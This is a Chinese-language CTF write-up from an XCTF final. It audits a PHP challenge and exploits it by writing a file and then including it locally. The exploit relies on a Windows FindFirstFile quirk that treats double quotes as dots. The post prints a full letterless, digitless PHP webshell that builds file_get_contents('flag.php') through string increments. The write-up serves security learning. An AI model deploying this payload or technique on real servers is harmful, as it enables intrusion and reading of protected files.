记录一次XCTF final的题目代码审计

记录一次XCTF final的题目代码审计

这里我们得到源码,直接贴出来开始审计吧;令人恶心的是这里有很多和题目无关的代码,而我刚开始没发现,直接审计,耗费了很多时间;真的吐了;;;;

tKaY6J.png

这里先看Get类;直奔主题看,这里有个include方法,是包含我们的文件,但是在包含之前做了很多的东西;来看看;

path_sanitizer方法,追溯看看定义;

tKaJl4.png

我们看到是文件名的问题,文件名过滤了很多的内容;不能出现'.', './', '~', '.\\', '#', '<', '>'这些个字符;

然后再看看源码,有个put类,

tKaMT0.png

想来就是写入文件了;这里题目名字是LFI就是let file include;那么我们想法就有了,写入一个webshell,然后包含,执行就ok;那么就将关注点放在了put类上;

这里看到在写入文件之前也是经历了很多的流程;构造函数给filename,data进行赋值;然后我们传入的内容经过了code_sanitizer方法,这里我们追溯看看其作用;

tKaKwq.png

看到其对内容经过了严格的过滤,不能出现字母和数字;那么这里自然想到了p神的无字母和数字的shell;这个题要想做出来还有一个小坑,因为我们刚刚进入题目就发现了phpinfo;是基于windows的; windows下使用FindFirstFile这个API(执行include,file_get_contents)时,有一个trick:会把双引号字符"解释为点字符;因为这道题目是包含的问题;所以我们直接传入文件test。然后写入我们的木马,然后去到include去包含就好,这里我们修改p神的无数字和字母的webshell即可,利用自增读取flag.php 这里不能有字母,所以使用短标签绕过,我印象里短标签好像在5.4之后是默认开启的,这里显然是要使用了,我们写入如下的webshell;

<?=$_=[];$_="$_";$_=$_[("!"=="!")+("!"=="!")+("!"=="!")];$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___=$_;$___++;$___++;$___++;$___++;$____=$_;$_____=$_;$_____++;$_____++;$_____++;$______=$_;$______++;$______++;$______++;$______++;$______++;$__=$__.$___.$____.$_____.$______;$___=$_;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$_____++;$_____++;$_____++;$_____++;$__=$__.$___.$____.$_____;$___=$_;$___++;$___++;$___++;$___++;$___++;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$______=$_;$______++;$______++;$______++;$______++;$______++;$______++;$___=$___.$____.$_____.$______;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$___=$___.'.'.$____.$_____.$____;$__($___);?>这里我们已经自增加入了 file_get_contents('flag.php');所以直接包含就好;因为代码里不能出现字母,所以也是无法进行shell的输入执行的,只可以直接包含执行;

流程

写入木马和我们的文件名test;

tKamOs.png

然后去到包含目录,直接包含得到flag;因为我们是直接包含,所以无所为后缀的问题,直接会执行;

tKaumn.png

我们再看看源码;探究为什么要写入"/test

主要的原因还是在此;

tKaGpF.png

tKa3fU.png

看到源码这里是包含的路径 因为之前已经说过windows下 findfirstfile的API会将"当作'.' 来使用;所以这里路径就成了./files/./test这里显然是包含了我们files当前目录下的一个文件,也就是我们的木马;然而我们再来看看源码;发现我们的默认的路径就是files下,我们又没有利用pop链修改其路径;所以这里就是会直接写入到我们的默认路径下,然后包含我们的默认路径;其实这里就一个点,就是windows下使用findfirstfile这个API的时候会将" 作为 '.'来使用,就导致我们写入包含路径成功;

posted @ 2020-05-30 00:11  s1mple-safety  阅读(37)  评论(0编辑  收藏